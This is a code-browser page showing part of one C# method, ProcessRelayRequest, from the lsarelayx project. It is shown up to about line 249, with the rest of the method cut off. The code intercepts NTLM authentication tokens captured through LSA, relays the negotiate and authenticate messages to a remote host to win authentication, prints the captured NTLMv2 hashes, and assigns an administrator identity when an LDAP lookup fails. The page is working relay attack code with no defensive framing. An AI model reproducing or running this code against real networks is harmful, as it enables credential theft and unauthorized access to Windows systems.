MCPcopy Create free account
hub / github.com/CCob/lsarelayx / ProcessRelayRequest

Method ProcessRelayRequest

client/Program.cs:192–274  ·  view source on GitHub ↗
(RelayRequest relayRequest)

Source from the content-addressed store, hash-verified

190 }
191
192 static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
193
194 var token = NtlmAuthenticationToken.Parse(relayRequest.Token);
195 BitseryObject lsaResponse;
196 bool doPassive = DoPassiveMode(relayRequest.ProcessID);
197
198 if (token is NtlmNegotiateAuthenticationToken) {
199
200 var newAuthContext = new NtlmAuth(relayRequest.Context, !doPassive ? new NtlmRelayChallengeResponse(host, port) : null);
201 activeContext[newAuthContext.Context] = newAuthContext;
202
203 if (!doPassive) {
204 var relayResponse = newAuthContext.Relayer.GetChallengeToken(relayRequest.Token);
205
206 if (relayResponse.Length > 0) {
207 lsaResponse = new RelayChallengeResponse(relayResponse);
208 newAuthContext.Challenge = (NtlmChallengeAuthenticationToken)NtlmAuthenticationToken.Parse(relayResponse);
209 } else {
210 Console.WriteLine($"[!] Failed to relay NTLM Type 1 and get challenge");
211 lsaResponse = new RelayChallengeResponse(RelayStatus.Passive);
212 }
213
214 } else {
215 lsaResponse = new RelayChallengeResponse(RelayStatus.Passive);
216 }
217
218 } else if (token is NtlmAuthenticateAuthenticationToken ntlmAuthenticate) {
219
220 if (!activeContext.ContainsKey(relayRequest.Context)) {
221 Console.WriteLine($"[!] Couldn't find existing relay session for context with id 0x{relayRequest.Context:x}");
222 lsaResponse = new RelayCompleteResponse(RelayStatus.Passive);
223
224 } else {
225
226 var authContext = activeContext[relayRequest.Context];
227 activeContext.Remove(relayRequest.Context);
228 authContext.Authentication = ntlmAuthenticate;
229 bool? success = null;
230 string userName = $"{ntlmAuthenticate.Domain}\\{ntlmAuthenticate.UserName}";
231
232 if (!doPassive && !string.IsNullOrEmpty(ntlmAuthenticate.UserName)) {
233 success = authContext.Relayer.SendAuthenticateToken(relayRequest.Token);
234 PrintNTLMv2(authContext, relayRequest.Process.ProcessName, success);
235
236 UserInfo userInfo = new UserInfo(ntlmAuthenticate.UserName, ntlmAuthenticate.Domain);
237
238 if (!userInfo.PopulateFromLDAP()) {
239 //Failed find user in LDAP so lets assume a local admin for now
240 userInfo.SecurityIdentifier = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null);
241 userInfo.PrimaryGroupId = 500;
242 userInfo.Groups.Add(new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null));
243 userInfo.Groups.Add(new SecurityIdentifier(WellKnownSidType.BuiltinRemoteDesktopUsersSid, null));
244 }
245
246 lsaResponse = new RelayCompleteResponse(success.Value ? RelayStatus.AuthSuccess : RelayStatus.AuthFailed, ntlmAuthenticate.Workstation, userInfo);
247 TriggerAuthTimer(relayRequest.ProcessID);
248
249 } else {

Callers

nothing calls this directly

Calls 6

GetChallengeTokenMethod · 0.80
RemoveMethod · 0.80
SendAuthenticateTokenMethod · 0.80
PopulateFromLDAPMethod · 0.80
ParseMethod · 0.45
AddMethod · 0.45

Tested by

no test coverage detected